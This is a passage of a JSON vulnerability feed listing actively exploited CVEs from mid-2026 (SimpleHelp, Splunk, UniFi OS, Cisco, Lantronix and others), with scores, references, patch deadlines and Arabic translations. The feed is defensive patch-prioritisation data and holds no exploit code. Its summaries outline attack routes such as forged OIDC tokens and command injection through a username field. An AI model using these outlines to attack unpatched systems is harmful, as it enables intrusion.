<16.0.10417.20128","16.0.10417.20128"],["16.0.0 – <16.0.19725.20280","16.0.19725.20280"]],"title":{"en":"Microsoft SharePoint Server Deserialization of Untrusted Data Vulnerability","ar":"ثغرة إلغاء التسلسل للبيانات غير الموثوقة في Microsoft SharePoint Server"},"summary":{"en":"Microsoft SharePoint Server contains a deserialization of untrusted data vulnerability which allows an authorized attacker to execute code over a network.","ar":"يحتوي Microsoft SharePoint Server على ثغرة إلغاء التسلسل للبيانات غير الموثوقة والتي تسمح لمهاجم مخول بتنفيذ شيفرة عبر الشبكة."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45659","patch"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-45659","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-45659","ref"]],"epss":0.8024,"kevAdded":"2026-07-01T00:00:00Z","kevDue":"2026-07-04T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":true,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيهات الأمان رقم BOD 26-04 الصادرة عن وكالة CISA بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (انظر الرابط في الملاحظات). اتبع التوجيهات المعمول بها في BOD 26-04 للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"microsoft-sharepoint"},{"id":"CVE-2026-48558","cvss":9.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","cwe":"CWE-347","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-06-29T00:00:00Z","product":"SimpleHelp SimpleHelp","affected":[["5.5.0 – <5.5.16","5.5.16"]],"title":{"en":"SimpleHelp Authentication Bypass Vulnerability","ar":"ثغرة تجاوز المصادقة في SimpleHelp"},"summary":{"en":"SimpleHelp contains an authentication bypass vulnerability in the OIDC authentication flow. When OIDC authentication is configured, identity tokens submitted during login are accepted without verifying their cryptographic signature. In a vulnerable configuration, a remote, unauthenticated attacker can submit a forged token containing arbitrary identity claims to obtain a fully authenticated technician session. In some configurations, this may also allow bypass of multi-factor authentication.","ar":"يحتوي SimpleHelp على ثغرة تجاوز المصادقة في تدفق مصادقة OIDC. عند تكوين مصادقة OIDC، يتم قبول رموز الهوية المُرسلة أثناء تسجيل الدخول دون التحقق من توقيعها التشفيري. في التكوين القابل للاستغلال، يمكن لمهاجم عن بُعد ودون مصادقة إرسال رمز مزيف يحتوي على مطالبات هوية عشوائية للحصول على جلسة فني مصادق عليها بالكامل. في بعض التكوينات، قد يتيح ذلك أيضًا تجاوز المصادقة متعددة العوامل."},"refs":[["https://simple-help.com/security/simplehelp-security-update-2026-05","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-48558","advisory"],["https://blackpointcyber.com/blog/a-djinn-in-the-machine-taskweavers-node-js-intrusion-chain/","advisory"],["https://horizon3.ai/attack-research/disclosures/cve-2026-48558-simplehelp-authentication-bypass-iocs/","ref"],["https://simple-help.com/release-news","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-48558","ref"]],"epss":0.7766,"kevAdded":"2026-06-29T00:00:00Z","kevDue":"2026-07-02T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيهات الأمان رقم BOD 26-04 الصادرة عن وكالة CISA بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (انظر الرابط في الملاحظات). اتبع التوجيهات المعمول بها في BOD 26-04 للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"simplehelp"},{"id":"CVE-2026-12569","cvss":9.3,"vector":null,"cwe":"CWE-20","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-06-25T00:00:00Z","product":"PTC Windchill and FlexPLM","affected":[["11.2.1.0",null],["12.0.2.0",null],["12.1.2.0",null],["13.0.2.0",null],["13.1.0.0",null],["13.1.1.0",null],["13.1.2.0",null],["13.1.3.0",null],["12.0.0.0",null],["12.1.3.0",null],["13.0.3.0",null]],"title":{"en":"PTC Windchill and FlexPLM Improper Input Validation Vulnerability","ar":"ثغرة التحقق غير السليم من المدخلات في PTC Windchill و FlexPLM"},"summary":{"en":"PTC Windchill and FlexPLM contains an improper input validation vulnerability allowing an unauthenticated, remote attacker to execute arbitrary code by sending a malicious request to the network.","ar":"يحتوي PTC Windchill و FlexPLM على ثغرة التحقق غير السليم من المدخلات مما يسمح لمهاجم عن بُعد ودون مصادقة بتنفيذ شيفرة عشوائية عن طريق إرسال طلب خبيث إلى الشبكة."},"refs":[["https://www.ptc.com/en/support/article/CS473270","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-12569","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-12569","ref"]],"epss":0.4605,"kevAdded":"2026-06-25T00:00:00Z","kevDue":"2026-06-28T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":true,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيهات الأمان رقم BOD 26-04 الصادرة عن وكالة CISA بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (انظر الرابط في الملاحظات). اتبع التوجيهات المعمول بها في BOD 26-04 للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"ptc-windchill-and-flexplm"},{"id":"CVE-2026-20230","cvss":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","cwe":"CWE-918","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-06-25T00:00:00Z","product":"Cisco Unified Communications Manager","affected":[["14",null],["14SU1",null],["14SU2",null],["14SU3",null],["15",null],["15SU1",null],["14SU4",null],["14SU4a",null],["15SU1a",null],["15SU2",null],["15.0.1.13010-1",null],["15.0.1.13011-1",null]],"title":{"en":"Cisco Unified Communications Manager Server-Side Request Forgery (SSRF) Vulnerability","ar":"ثغرة تزوير الطلبات من جانب الخادم (SSRF) في Cisco Unified Communications Manager"},"summary":{"en":"Cisco Unified Communications Manager (Unified CM) and Cisco Unified Communications Manager Session Management Edition (Unified CM SME) contain a server-side request forgery (SSRF) Vulnerability that could allow an unauthenticated, remote attacker to write files to the underlying operating system that could be used later to elevate to root.","ar":"يحتوي Cisco Unified Communications Manager (Unified CM) و Cisco Unified Communications Manager Session Management Edition (Unified CM SME) على ثغرة تزوير الطلبات من جانب الخادم (SSRF) والتي يمكن أن تسمح لمهاجم عن بُعد ودون مصادقة كتابة ملفات على نظام التشغيل الأساسي والتي يمكن استخدامها لاحقًا للتصعيد إلى صلاحيات root."},"refs":[["https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-cucm-ssrf-cXPnHcW.html","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-20230","advisory"],["https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-ssrf-cXPnHcW","ref"],["https://denizhalil.com/2026/06/12/cve-2026-20230-cisco-unified-cm-ssrf/","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20230","ref"]],"epss":0.8853,"kevAdded":"2026-06-25T00:00:00Z","kevDue":"2026-06-28T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيهات الأمان رقم BOD 26-04 الصادرة عن وكالة CISA بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (انظر الرابط في الملاحظات). اتبع التوجيهات المعمول بها في BOD 26-04 للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"cisco-unified-communications-manager"},{"id":"CVE-2026-34910","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-20","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-06-23T00:00:00Z","product":"Ubiquiti UniFi OS","affected":[["0 – <5.0.8","5.0.8"],["0 – <5.1.12","5.1.12"],["0 – <5.1.11","5.1.11"],["0 – <5.1.10","5.1.10"]],"title":{"en":"Ubiquiti UniFi OS Improper Input Validation Vulnerability","ar":"ثغرة التحقق غير السليم من المدخلات في Ubiquiti UniFi OS"},"summary":{"en":"Ubiquiti UniFi OS contains an improper input validation vulnerability which could allow a malicious actor with access to the network to conduct command injection.","ar":"يحتوي Ubiquiti UniFi OS على ثغرة التحقق غير السليم من المدخلات والتي قد تسمح لجهة فاعلة خبيثة لها إمكانية الوصول إلى الشبكة بإجراء حقن أوامر."},"refs":[["https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-34910","advisory"],["https://www.pwndefend.com/2026/06/09/cve-2026-34910-exploitation-itw-building-a-botnet-mirai/","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34910","ref"]],"epss":0.9003,"kevAdded":"2026-06-23T00:00:00Z","kevDue":"2026-06-26T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيهات الأمان رقم BOD 26-04 الصادرة عن وكالة CISA بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (انظر الرابط في الملاحظات). اتبع التوجيهات المعمول بها في BOD 26-04 للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"ubiquiti-unifi-os"},{"id":"CVE-2026-34909","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-22","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-06-23T00:00:00Z","product":"Ubiquiti UniFi OS","affected":[["0 – <5.0.8","5.0.8"],["0 – <4.0.14","4.0.14"],["0 – <5.1.12","5.1.12"],["0 – <5.1.11","5.1.11"],["0 – <5.1.10","5.1.10"]],"title":{"en":"Ubiquiti UniFi OS Path Traversal Vulnerability","ar":"ثغرة اجتياز المسار في Ubiquiti UniFi OS"},"summary":{"en":"Ubiquiti UniFi OS contains a path traversal vulnerability which could allow a malicious actor with access to the network to access files on the underlying system that could be manipulated to access an underlying account.","ar":"يحتوي Ubiquiti UniFi OS على ثغرة اجتياز المسار والتي قد تسمح لجهة فاعلة خبيثة لها إمكانية الوصول إلى الشبكة بالوصول إلى الملفات الموجودة على النظام الأساسي والتي يمكن التلاعب بها للوصول إلى حساب أساسي."},"refs":[["https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-34909","advisory"],["https://www.pwndefend.com/2026/06/09/cve-2026-34910-exploitation-itw-building-a-botnet-mirai/","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34909","ref"]],"epss":0.6803,"kevAdded":"2026-06-23T00:00:00Z","kevDue":"2026-06-26T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيهات الأمان رقم BOD 26-04 الصادرة عن وكالة CISA بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (انظر الرابط في الملاحظات). اتبع التوجيهات المعمول بها في BOD 26-04 للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"ubiquiti-unifi-os"},{"id":"CVE-2026-34908","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-284","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-06-23T00:00:00Z","product":"Ubiquiti UniFi OS","affected":[["0 – <5.0.8","5.0.8"],["0 – <5.1.12","5.1.12"],["0 – <5.1.11","5.1.11"],["0 – <5.1.10","5.1.10"]],"title":{"en":"Ubiquiti UniFi OS Improper Access Control Vulnerability","ar":"ثغرة التحكم غير السليم في الوصول في Ubiquiti UniFi OS"},"summary":{"en":"Ubiquiti UniFi OS contains an improper access control vulnerability which could allow a malicious actor with access to the network to make unauthorized changes to the system.","ar":"يحتوي Ubiquiti UniFi OS على ثغرة التحكم غير السليم في الوصول والتي قد تسمح لجهة فاعلة خبيثة لها إمكانية الوصول إلى الشبكة بإجراء تغييرات غير مصرح بها على النظام."},"refs":[["https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-34908","advisory"],["https://www.pwndefend.com/2026/06/09/cve-2026-34910-exploitation-itw-building-a-botnet-mirai/","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34908","ref"]],"epss":0.8829,"kevAdded":"2026-06-23T00:00:00Z","kevDue":"2026-06-26T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيهات الأمان رقم BOD 26-04 الصادرة عن وكالة CISA بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (انظر الرابط في الملاحظات). اتبع التوجيهات المعمول بها في BOD 26-04 للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"ubiquiti-unifi-os"},{"id":"CVE-2025-67038","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-06-23T00:00:00Z","product":"Lantronix EDS5000","affected":[["0 – <2.6.0.4R6","2.6.0.4R6"],["0 – <3.21.0.0R1","3.21.0.0R1"]],"title":{"en":"Lantronix EDS5000 Code Injection Vulnerability","ar":"ثغرة حقن الشيفرات في Lantronix EDS5000"},"summary":{"en":"Lantronix EDS5000 contains a code injection vulnerability that could allow attackers to inject arbitrary OS commands into the username parameter. Injected commands are executed with root privileges.","ar":"يحتوي Lantronix EDS5000 على ثغرة حقن الشيفرات التي يمكن أن تسمح للمهاجمين بحقن أوامر عشوائية لنظام التشغيل في معامل اسم المستخدم. يتم تنفيذ الأوامر المحقونة بصلاحيات root."},"refs":[["https://ltrxdev.atlassian.net/wiki/spaces/LTRXTS/pages/2538438657/Latest+Firmware+for+the+EDS5000+series+EDS5008+EDS5016+EDS5032","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2025-67038","advisory"],["https://www.lantronix.com/technical-support/security-updates/vulnerability-disclosure-policy/vulnerability-library/?_gl=16c8bez_upMQ.._gaMzQwNjk5ODI5LjE3ODI5MTM3NTk._ga_M2G6RLT5L3*czE3ODI5MTM3NTgkbzEkZzAkdDE3ODI5MTM3NTgkajYwJGwwJGgw","ref"],["https://www.cisa.gov/news-events/ics-advisories/icsa-26-069-02","ref"],["https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-069-02.json","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-67038","ref"]],"epss":0.2029,"kevAdded":"2026-06-23T00:00:00Z","kevDue":"2026-06-26T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيهات الأمان رقم BOD 26-04 الصادرة عن وكالة CISA بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (انظر الرابط في الملاحظات). اتبع التوجيهات المعمول بها في BOD 26-04 للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"lantronix-eds5000"},{"id":"CVE-2026-20253","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-306","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-06-18T00:00:00Z","product":"Splunk Enterprise","affected":[["10.2 – <10.2.4","10.2.4"],["10.0 – <10.0.7","10.0.7"]],"title":{"en":"Splunk Enterprise Missing Authentication for Critical Function Vulnerability","ar":"ثغرة غياب المصادقة لتنفيذ وظيفة حرجة في Splunk Enterprise"},"summary":{"en":"Splunk Enterprise contains a missing authentication for critical function vulnerability which could allow an unauthenticated user to create or truncate arbitrary files through a PostgreSQL sidecar service endpoint.","ar":"يحتوي Splunk Enterprise على ثغرة غياب المصادقة لتنفيذ وظيفة حرجة مما قد يسمح لمستخدم دون مصادقة بإنشاء أو تقليص ملفات عشوائية عبر نقطة نهاية خدمة جانبية لـ PostgreSQL."},"refs":[["https://advisory.splunk.com/advisories/SVD-2026-0603","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-20253","advisory"],["https://labs.watchtowr.com/why-use-app-level-auth-when-every-database-has-auth-splunk-enterprise-cve-2026-20253-pre-auth-rce/","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20253","ref"]],"epss":0.9694,"kevAdded":"2026-06-18T00:00:00Z","kevDue":"2026-06-21T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات الجهة المصنعة، مع ضمان الامتثال لتوجيهات توجيه وكالة CISA رقم BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (راجع الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المعمول بها للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات في BOD 26-04.","machineTranslated":true,"productSlug":"splunk-enterprise"},{"id":"CVE-2026-48907","cvss":10,"vector":null,"cwe":"CWE-284","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-06-16T00:00:00Z","product":"Widget Factory Joomla Content Editor","affected":[["1.0.0-2.9.99.4",null]],"title":{"en":"Widget Factory Joomla Content Editor Improper Access Control Vulnerability","ar":"ثغرة التحكم غير السليم في الوصول لمحرر محتوى Widget Factory Joomla"},"summary":{"en":"Widget Factory Joomla Content Editor contains an improper access control vulnerability which could allow for upload and execution of PHP code via the creation of new editor profiles for unauthenticated users.","ar":"يحتوي مححر محتوى Widget Factory Joomla على ثغرة تحكم غير سليم في الوصول مما قد يسمح بتحميل وتنزيل وتنفيذ شيفرة PHP عبر إنشاء ملفات تعريف محرر جديدة للمستخدمين الذين ليس لديهم مصادقة."},"refs":[["https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites","advisory"],["https://www.joomlacontenteditor.net/support/changelog/editor","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-48907","advisory"],["https://www.joomlacontenteditor.net/","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-48907","ref"]],"epss":0.8544,"kevAdded":"2026-06-16T00:00:00Z","kevDue":"2026-06-19T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات الجهة المصنعة، مع ضمان الامتثال لتوجيهات توجيه وكالة CISA رقم BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (راجع الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المعمول بها للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات في BOD 26-04.","machineTranslated":true,"productSlug":"widget-factory-joomla-content-editor"},{"id":"CVE-2026-20262","cvss":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","cwe":"CWE-22","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-06-15T16:21:09Z","product":"Cisco Catalyst SD-WAN Manager","affected":[["20.1.12",null],["19.2.1",null],["18.4.4",null],["18.4.5",null],["20.1.1.1",null],["20.1.1",null],["19.3.0",null],["19.2.2",null],["19.2.099",null],["18.3.6",null],["18.3.7",null],["19.2.0",null]],"title":{"en":"Cisco Catalyst SD-WAN Manager Directory or Path Traversal Vulnerability","ar":"ثغرة اجتياز الدليل أو المسار في Cisco Catalyst SD-WAN Manager"},"summary":{"en":"Cisco Catalyst SD-WAN Manager contains a directory or path traversal vulnerability that could allow an authenticated, remote attacker to create a file or overwrite any file on the filesystem of an affected system.","ar":"يحتوي Cisco Catalyst SD-WAN Manager على ثغرة اجتياز الدليل أو المسار التي قد تسمح لمهاجم عن بُعد يملك حسابًا مصادقًا عليه بإنشاء ملف أو الكتابة فوق أي ملف على نظام الملفات الخاص بنظام 